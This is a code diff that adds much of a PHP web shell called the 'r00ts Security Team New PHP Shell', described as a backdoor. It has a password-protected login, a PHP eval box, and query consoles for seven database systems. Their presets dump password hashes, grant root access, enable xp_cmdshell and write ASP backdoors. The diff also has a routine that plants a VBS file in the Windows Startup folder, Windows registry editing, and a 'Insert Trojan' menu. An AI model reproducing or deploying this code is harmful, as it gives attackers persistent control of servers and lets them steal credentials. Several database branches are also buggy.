+			if(!$filedown) $filedown = 'b4che10r.tmp';
+			$array = explode('.', $filedown);
+			$arrayend = array_pop($array);
+			header('Content-type: application/x-'.$arrayend);
+			header('Content-Disposition: attachment; filename='.$filedown);
+			header('Content-Length: '.strlen($downcode));
+			echo $downcode;
+			exit;
+		}
+		else $MSG_BOX = 'Download file faild';
+	}
+	$o = isset($_GET['o']) ? $_GET['o'] : '';
+	Root_CSS();
+print<<<END
+<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
+<center><div class="actall"><a href="?s=n">[execute Mysql statement]</a> 
+<a href="?s=n&o=u">[Mysql upfile]</a> 
+<a href="?s=n&o=d">[Mysql download file]</a></div>
+<div class="actall">
+IP: <input type="text" name="mhost" value="{$mhost}" style="width:110px">
+Port: <input type="text" name="mport" value="{$mport}" style="width:110px">
+User: <input type="text" name="muser" value="{$muser}" style="width:110px">
+Pass: <input type="text" name="mpass" value="{$mpass}" style="width:110px">
+Dbname: <input type="text" name="mdata" value="{$mdata}" style="width:110px">
+</div>
+<div class="actall" style="height:220px;">
+END;
+if($o == 'u')
+{
+	$uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs';
+	if(!empty($_POST['uppath']))
+	{
+		$uppath = $_POST['uppath'];
+		$query = 'Create TABLE a (cmd text NOT NULL);';
+		if(@mysql_query($query,$conn))
+		{
+			if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
+			else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
+			$query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
+			if(@mysql_query($query,$conn))
+			{
+				$query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
+				$MSG_BOX = @mysql_query($query,$conn) ? 'upfile success' : 'upfile faild';
+			}
+			else $MSG_BOX = 'insert into temp table faild';
+			@mysql_query('Drop TABLE IF EXISTS a;',$conn);
+		}
+		else $MSG_BOX = 'create temp table faild';
+	}
+print<<<END
+<br><br>Path: <input type="text" name="uppath" value="{$uppath}" style="width:500px">
+<br><br>File:&nbsp <input type="file" name="upfile" style="width:500px;height:22px;">
+</div><div class="actall"><input class="bt" type="submit" value="upfile">
+END;
+}
+elseif($o == 'd')
+{
+print<<<END
+<br><br><br>download file: <input type="text" name="downfile" value="{$downfile}" style="width:500px">
+</div><div class="actall"><input class="bt" type="submit" value="Download">
+END;
+}
+else
+{
+print<<<END
+<script language="javascript">
+function nFull(i){
+	Str = new Array(15);
+        Str[0] = "select command  Or input manual";
+	Str[1] = "select version();";
+        Str[2] = "select @@character_set_database;";
+        Str[3] = "show databases;";
+        Str[4] = "show tables;";
+        Str[5] = "show columns from table_name;";
+        Str[6] = "select @@hostname;";
+        Str[7] = "select @@version_compile_os;";
+        Str[8] = "select @@basedir;";
+        Str[9] = "select @@datadir;";
+        Str[10] = "describe table_name;";
+        Str[11] = "select User,Password from mysql.user;";
+	Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);";
+	Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;";
+	Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
+	nform.msql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
+<div class="actall">
+<select onchange="return nFull(options[selectedIndex].value)">
+        <option value="0" selected>command</option>
+	<option value="1">version</option>
+        <option value="2">charset</option>
+        <option value="3">databases</option>
+        <option value="4">tables</option>
+        <option value="5">columns</option>
+        <option value="6">hostname</option>
+        <option value="7">version_compile_os</option>
+        <option value="8">basedir</option>
+        <option value="9">datadir</option>
+        <option value="10">describe</option>
+        <option value="11">hashes</option>
+	<option value="12">load_file</option>
+	<option value="13">into dumpfile</option>
+	<option value="14">skip_network</option>
+</select>
+<input class="bt" type="submit" value="execute">
+END;
+if(!empty($_POST['msql']))
+
+     	{
+		$msql = $_POST['msql'];
+		if($result = @mysql_query($msql,$conn))
+		{
+			$MSG_BOX = 'execute sql statement success<br>';
+                        $row=mysql_fetch_row($result);
+                        echo '<table border="1" cellpadding="1" cellspacing="2">'."<tr>";
+                        for ($i=0; $i<mysql_num_fields($result); $i++)
+                        {
+                          echo '<td><b>'.mysql_field_name($result, $i)."</b></td>";
+                         }
+                       echo "</tr>";
+                       mysql_data_seek($result, 0);
+                       while ($row=mysql_fetch_row($result))
+                       {
+                        echo "<tr>";
+                        for ($i=0; $i<mysql_num_fields($result); $i++ )
+                        {
+                           echo '<td>'."$row[$i]".'</td>';
+                        }
+                        echo "</tr>";
+                      }
+                      echo "</table>";
+                     mysql_free_result($result); 
+		}
+		else $MSG_BOX .= mysql_error();
+	}
+}
+	echo '<br>'.$MSG_BOX.'</div></center></form>';
+	return true;
+}
+
+//eval php code
+function phpcode()
+{
+         
+print<<<END
+<html>
+<br />
+<div class="actall"><h5>user define php code:<h5><br></div>
+<form action="?s=x" method="POST">
+<div class="actall"><textarea name="phpcode" rows="20" cols="80">print_r(apache_get_modules());/*get apache modules which have openned*/</textarea></div><br />
+<div><input class="bt" type="submit" value="EVAL"></div></form>
+</html>
+END;
+         $phpcode = $_POST['phpcode'];
+         $phpcode = trim($phpcode);
+         if($phpcode){
+             if (!preg_match('#<\?#si',$phpcode)){
+             $phpcode = "<?php\n\n{$phpcode}\n\n?>";
+           }
+          eval("?".">$phpcode<?");
+          echo '<br><br>';
+          }
+     return false;
+}
+//other db connector
+function otherdb(){
+$db = isset($_GET['db']) ? $_GET['db'] : '';
+print<<<END
+<form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data">
+<div class="actall"><a href="?s=w"> &nbsp psotgresql &nbsp</a> 
+<a href="?s=w&db=ms"> &nbsp mssql &nbsp</a> 
+<a href="?s=w&db=ora"> &nbsp oracle &nbsp</a>
+<a href="?s=w&db=ifx"> &nbsp informix &nbsp</a>
+<a href="?s=w&db=fb"> &nbsp  firebird &nbsp</a>
+<a href="?s=w&db=db2">&nbsp db2 &nbsp</a></div></form>
+END;
+
+if ($db=="ms"){
+$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
+$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
+$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123';
+$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
+$msaction = isset($_POST['action']) ? $_POST['action'] : '';
+$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
+$msquery = stripslashes($msquery);
+print<<<END
+<form method="POST" name="msform" action="?s=w&db=ms">
+<div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
+User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
+Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
+Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br>
+<script language="javascript">
+function msFull(i){
+	Str = new Array(11);
+        Str[0] = "";
+	Str[1] = "select @@version;";
+        Str[2] = "select name from sysdatabases;";
+        Str[3] = "select name from sysobject where type='U';";
+        Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
+        Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
+	Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
+	Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
+        Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
+        Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
+        Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
+        Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
+	Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
+        msform.mssql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
+<select onchange="return msFull(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">version</option>
+        <option value="2">databases</option>
+        <option value="3">tables</option>
+        <option value="4">columns</option>
+        <option value="5">add sp_oacreate</option>
+	<option value="6">add xp_cmdshell</option>
+	<option value="7">add xp_cmdshell(2005)</option>
+        <option value="8">add sp_oacreate(2005)</option>
+        <option value="9">open openrowset(2005)</option>
+        <option value="10">xp_cmdshell exec</option>
+        <option value="10">sp_oamethod exec</option>
+        <option value="11">sp_makewebtask</option>
+</select>
+<input type="hidden" name="action" value="msquery">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+
+if ($msaction == 'msquery'){
+$msconn= mssql_connect ($mshost , $msuser, $mspass);  
+mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message());
+$msresult = mssql_query($msquery) or die(mssql_get_last_message());
+echo '<font face="verdana">';
+echo '<table border="1" cellpadding="1" cellspacing="2">';
+echo "\n<tr>\n";
+for ($i=0; $i<mssql_num_fields($msresult); $i++)
+{
+echo '<td bgcolor="#228B22"><b>'.
+mssql_field_name($msresult, $i);
+echo "</b></td>\n";
+}
+echo "</tr>\n";
+mssql_data_seek($result, 0);
+while ($msrow=mssql_fetch_row($msresult))
+{
+echo "<tr>\n";
+for ($i=0; $i<mssql_num_fields($msresult); $i++ )
+{
+echo '<td bgcolor="#B8B8E8">';
+echo "$msrow[$i]";
+echo '</td>';
+}
+echo "</tr>\n";
+}
+echo "</table>\n";
+echo "</font>";
+mssql_free_result($msresult);
+mssql_close();
+}
+    }
+elseif ($db=="ora"){
+$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
+$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
+$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
+$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
+$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
+$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
+$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
+$oraquery = stripslashes($oraquery);
+print<<<END
+<form method="POST" name="oraform" action="?s=w&db=ora">
+<div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
+Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
+User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
+Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
+SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br>
+<script language="javascript">
+function oraFull(i){
+	Str = new Array(8);
+        Str[0] = ""; 
+	Str[1] = "select version();";
+        Str[2] = "show databases;";
+        Str[3] = "show tables from db_name;";
+        Str[4] = "show columns from table_name;";
+        Str[5] = "select user,password from mysql.user;";
+	Str[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);";
+	Str[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'";
+	oraform.orasql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
+<select onchange="return oraFull(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">version</option>
+        <option value="2">databases</option>
+        <option value="3">tables</option>
+        <option value="4">columns</option>
+        <option value="5">hashes</option>
+	<option value="6">load_file</option>
+	<option value="7">into outfile</option>
+</select>
+<input type="hidden" name="action" value="myquery">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+
+if ($oraaction == 'oraquery'){
+    $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); 
+    $oraresult=ociparse($oralink,$oraquery) or die(ocierror());
+    $orarow=oci_fetch_row($oraresult);
+    echo '<font face="verdana">';
+    echo '<table border="1" cellpadding="1" cellspacing="2">';
+    echo "\n<tr>\n";
+    for ($i=0; $i<oci_num_fields($oraresult); $i++)
+    {
+    echo '<td bgcolor="#228B22"><b>'.
+    oci_field_name($oraresult, $i);
+    echo "</b></td>\n";
+    }
+    echo "</tr>\n";
+    ociresult($oraresult, 0);
+    while ($orarow=ora_fetch_row($oraresult))
+    {
+    echo "<tr>\n";
+    for ($i=0; $i<ora_num_fields($result); $i++ )
+    {
+    echo '<td bgcolor="#B8B8E8">';
+    echo "$orarow[$i]";
+    echo '</td>';
+    }
+    echo "</tr>\n";
+    }
+    echo "</table>\n";
+    echo "</font>";
+    oci_free_statement($oraresult);
+    ocilogoff();
+}
+}
+elseif ($db == "ifx"){
+$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
+$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
+$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
+$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
+$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
+$ifxquery = stripslashes($ifxquery);
+print<<<END
+<form method="POST" name="ifxform" action="?s=w&db=ifx">
+<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
+User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
+Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
+<script language="javascript">
+function ifxFull(i){
+	Str = new Array(11);
+        Str[0] = "";
+	Str[1] = "select dbservername from sysobjects;";
+        Str[2] = "select name from sysdatabases;";
+        Str[3] = "select tabname from systables;";
+        Str[4] = "select colname from syscolumns where tabid=n;";
+        Str[5] = "select username,usertype,password from sysusers;";
+	ifxform.ifxsql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
+<select onchange="return ifxFull(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">dbservername</option>
+        <option value="1">databases</option>
+        <option value="2">tables</option>
+        <option value="3">columns</option>
+        <option value="4">hashes</option>
+</select>
+<input type="hidden" name="action" value="ifxquery">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+if ($ifxaction == 'ifxquery'){
+    $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
+    $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg());
+    $ifxrow=ifx_fetch_row($ifxresult);
+    echo '<font face="verdana">';
+    echo '<table border="1" cellpadding="1" cellspacing="2">';
+    echo "\n<tr>\n";
+    for ($i=0; $i<ifx_num_fields($ifxresult); $i++)
+{
+echo '<td bgcolor="#228B22"><b>'.
+ifx_fieldproperties($ifxresult);
+echo "</b></td>\n";
+}
+echo "</tr>\n";
+mysql_data_seek($ifxresult, 0);
+while ($ifxrow=ifx_fetch_row($ifxresult))
+{
+echo "<tr>\n";
+for ($i=0; $i<ifx_num_fields($ifxresult); $i++ )
+{
+echo '<td bgcolor="#B8B8E8">';
+echo "$ifxrow[$i]";
+echo '</td>';
+}
+echo "</tr>\n";
+}
+echo "</table>\n";
+echo "</font>";
+ifx_free_result($ifxresult);
+ifx_close();
+}
+    }
+elseif ($db=="db2"){
+$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
+$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
+$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
+$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
+$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
+$db2action = isset($_POST['action']) ? $_POST['action'] : '';
+$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
+$db2query = stripslashes($db2query);
+print<<<END
+<form method="POST" name="db2form" action="?s=w&db=db2">
+<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
+Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
+User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
+Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
+Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
+<script language="javascript">
+function db2Full(i){
+	Str = new Array(4);
+        Str[0] = "";
+	Str[1] = "select schemaname from syscat.schemata;";
+        Str[2] = "select name from sysibm.systables;";
+        Str[3] = "select colname from syscat.columns where tabname='table_name';";
+        Str[4] = "db2 get db cfg for db_name;";
+	db2form.db2sql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
+<select onchange="return db2Full(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">databases</option>
+        <option value="1">tables</option>
+        <option value="2">columns</option>
+        <option value="3">db config</option>
+</select>
+<input type="hidden" name="action" value="db2query">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+if ($myaction == 'db2query'){
+//$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;";
+$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
+$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg());
+$db2row=db2_fetch_row($db2result);
+echo '<font face="verdana">';
+echo '<table border="1" cellpadding="1" cellspacing="2">';
+echo "\n<tr>\n";
+for ($i=0; $i<db2_num_fields($db2result); $i++)
+{
+echo '<td bgcolor="#228B22"><b>'.
+db2_field_name($db2result);
+echo "</b></td>\n";
+}
+echo "</tr>\n";
+while ($db2row=db2_fetch_row($db2result))
+{
+echo "<tr>\n";
+for ($i=0; $i<db2_num_fields($db2result); $i++ )
+{
+echo '<td bgcolor="#B8B8E8">';
+echo "$db2row[$i]";
+echo '</td>';
+}
+echo "</tr>\n";
+}
+echo "</table>\n";
+echo "</font>";
+db2_free_result($db2result);
+db2_close();
+}
+    }
+elseif($db == "fb") {
+$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
+$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
+$fbpath = str_replace("\\\\", "\\", $fbpath);
+$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
+$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
+$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
+$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
+$fbquery = stripslashes($fbquery);
+print<<<END
+<form method="POST" name="fbform" action="?s=w&db=fb">
+<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
+Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
+User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
+Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
+<script language="javascript">
+function fbFull(i){
+	Str = new Array(5);
+        Str[0] = "";
+	Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
+        Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
+        Str[3] = "input 'D:\\createtable.sql';";
+        Str[4] = "shell netstat -an;";
+	fbform.fbsql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
+<select onchange="return fbFull(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">tables</option>
+        <option value="2">columns</option>
+        <option value="3">import sql</option>
+        <option value="4">shell</option>
+</select>
+<input type="hidden" name="action" value="fbquery">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+if ($fbaction == 'fbquery'){
+    $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg());
+    $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg());
+    echo '<font face="verdana">';
+    echo '<table border="1" cellpadding="1" cellspacing="2">';
+    echo "\n<tr>\n";
+    for ($i=0; $i<ibase_num_fields($fbresult); $i++)
+    {
+    echo '<td bgcolor="#228B22"><b>'.
+    ibase_field_info($fbresult, $i);
+    echo "</b></td>\n"; 
+    }
+    echo "</tr>\n";
+    ibase_field_info($fbresult, 0);
+    while ($fbrow=ibase_fetch_row($fbresult))
+{
+echo "<tr>\n";
+for ($i=0; $i<ibase_num_fields($fbresult); $i++ )
+{
+echo '<td bgcolor="#B8B8E8">';
+echo "$fbrow[$i]";
+echo '</td>';
+}
+echo "</tr>\n";
+}
+echo "</table>\n";
+echo "</font>";
+ibase_free_result($fbresult);
+ibase_close();
+    }
+    }
+else{
+$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
+$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres';
+$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
+$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
+$pgaction = isset($_POST['action']) ? $_POST['action'] : '';
+$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; 
+$pgquery = stripslashes($pgquery);
+print<<<END
+<form method="POST" name="pgform" action="?s=w">
+<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
+User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
+Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
+Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br>
+<script language="javascript">
+function pgFull(i){
+	Str = new Array(7);
+	Str[0] = "";
+        Str[1] = "select version();";
+        Str[2] = "select datname from pg_database;";
+        Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;";
+        Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
+        Str[5] = "select usename,passwd from pg_shadow;";
+	Str[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
+	pgform.pgsql.value = Str[i];
+	return true;
+}
+</script>
+<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
+<select onchange="return pgFull(options[selectedIndex].value)">
+	<option value="0" selected>command</option>
+        <option value="1">version</option>
+        <option value="2">databases</option>
+        <option value="3">tables</option>
+        <option value="4">columns</option>
+        <option value="5">hashes</option>
+	<option value="6">pg_hb.conf</option>
+</select>
+<input type="hidden" name="action" value="pgquery">
+<input class="bt" type="submit" value="Query"></div></form>
+END;
+
+if ($pgaction == 'pgquery'){
+$pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") 
+        or die( 'Could not connect: ' . pg_last_error()); 
+$pgresult = pg_query($pgquery) or die( 'Query failed: '.pg_last_error()); 
+$pgrow=pg_fetch_row($pgresult);
+echo '<font face="verdana">';
+echo '<table border="1" cellpadding="1" cellspacing="2">';
+echo "\n<tr>\n";
+for ($i=0; $i<pg_num_fields($pgresult); $i++)
+{
+echo '<td bgcolor="#228B22"><b>'.
+pg_field_name($pgresult, $i);
+echo "</b></td>\n";
+}
+echo "</tr>\n";
+pg_result_seek($pgresult, 0);
+while ($pgrow=pg_fetch_row($pgresult))
+{
+echo "<tr>\n";
+for ($i=0; $i<pg_num_fields($pgresult); $i++ )
+{
+echo '<td bgcolor="#B8B8E8">';
+echo "$pgrow[$i]";
+echo '</td>';
+}
+echo "</tr>\n";
+}
+echo "</table>\n";
+echo "</font>";
+pg_free_result($pgresult);
+pg_close();
+}
+}
+    }
+
+//control Registry with php
+function phpreg(){
+$shell1 = new COM("wscript.shell") or die("require windows host");
+$action = isset($_POST['action']) ? $_POST['action'] : '';  
+echo '<br>';
+echo '<div class="actall"><h5>Read & Write &Del reg</h5><br></div>';
+echo '<br>';
+print<<<END
+<TR><form   action=""   method="post">   
+<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>   
+Rpath:&nbsp<input type="hidden" name="action" value="read">   
+<input type="text" name="rpath" value="{$rpath}" size="70">   
+<input class="bt" type="submit" value="Read"></form></TD></TR><br><br></div>   
+END;
+   
+$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : '';   
+$rpath = str_replace("\\\\", "\\", $rpath);      
+if   ($action=="read"){
+$out = $shell1->RegRead($rpath);
+echo '<pre>'.var_dump($out).'</pre>';   
+echo '<br><br>';  
+}
+
+print<<<END
+<TR><form   action=""   method="post">   
+<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>Wpath:      
+<input type="text" name="wpath" value="{$wpath}" size="70"><BR><br> 
+Wtype:&nbsp<input type="text" name="wtype" value="{$wtype}" size="20">
+Wvalue:&nbsp<input type="text" name="wvalue" value="{$wvalue}" size="30">
+<input type="hidden" name="action" value="write">  
+<input class="bt" type="submit" value="write"></form></TD></TR><br><br><br></div>   
+END;
+   
+$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : '';   
+$wpath = str_replace("\\\\", "\\", $wpath);      
+$wtype = isset($_POST['wtype']) ? $_POST['wtype'] : '';
+$wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : '';
+if   ($action=="write"){
+$shell1->RegWrite($wpath, $wvalue, $wtype);     
+}
+
+print<<<END
+<TR><form   action=""   method="post">   
+<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>  
+Dpath:<input type="hidden" name="action" value="del">   
+<input type="text" name="dpath" value="{$dpath}" size="70">   
+<input class="bt" type="submit" value="Del"></form></TD></TR><br><br></div>   
+END;
+   
+$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : '';   
+$dpath = str_replace("\\\\", "\\", $dpath);      
+if   ($action=="del"){
+$out = $shell1->RegDelete($dpath);  
+}
+    }
+function Root_Login($MSG_TOP)
+{
+global $lanip;
+print<<<END
+
+<html>
+	<body style="background:#FFFFF;">
+		<center>
+		<form method="POST">
+		<div style="width:551px;height:201px;margin-top:100px;background:threedface;border-color: #000000 #999999 #FFFFF;border-style:solid;border-width:1px;">
+		<div style="width:550px;height:22px;padding-top:2px;color:#FFFFFF;background:#000000;clear:both;"><b>{$MSG_TOP}</b></div>
+		<div style="width:550px;height:80px;padding-top:30px;color:;clear:both;">PASS:<input type="password" name="b4che10rpass" style="width:200px;height:20px"></div>
+		<div style="width:550px;height:50px;clear:both;"><input class="bt" type="submit" value="login"></div>
+                <h5>@Copyright spider Clean Backdoor and plus & modify by r00ts Security Team<h5>
+                <h5>Your IP : {$lanip} <h5>
+		</div>
+		</form>
+		</center>
+	</body>
+</html>
+END;
+	return false;
+}
+
+function WinMain()
+{
+	$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
+	$Server_OS = PHP_OS;
+	$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
+print<<<END
+<html>
+	<title> r00ts Security Team New PHP Shell 2012-2013 </title>
+	<head>
+		<style type="text/css">
+			*{padding:0; margin:0;}
+			body{background:#FFFFF;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin:0 auto; text-align:center;margin-top:5px;word-break:break-all;}
+			.outtable {height:600px;width:%90;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
+			.topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
+			.bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
+			.listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
+			.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
+			.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
+		</style>
+		<script language="JavaScript">
+			function switchTab(tabid)
+			{
+				if(tabid == '') return false;
+				for(var i=0;i<=17;i++)
+				{
+					if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
+					else document.getElementById('t_'+i).style.background="#BBBBBB";
+				}
+				return true;
+			}
+		</script>
+	</head>
+	<body>
+		<div class="outtable">
+		<div class="topbg"> &nbsp; {$Server_IP} - {$Server_OS} </div>
+			<div style="height:546px;">
+				<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
+				<tr>
+				<td width="140" align="center" valign="top">
+					<ul class="listbg">
+						<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main"> File Manager </a></li>
+						<li><a href="?s=b" id="t_1" onclick="switchTab('t_1')" target="main"> Insert Trojan </a></li>
+						<li><a href="?s=c" id="t_2" onclick="switchTab('t_2')" target="main"> Clean Trojan </a></li>
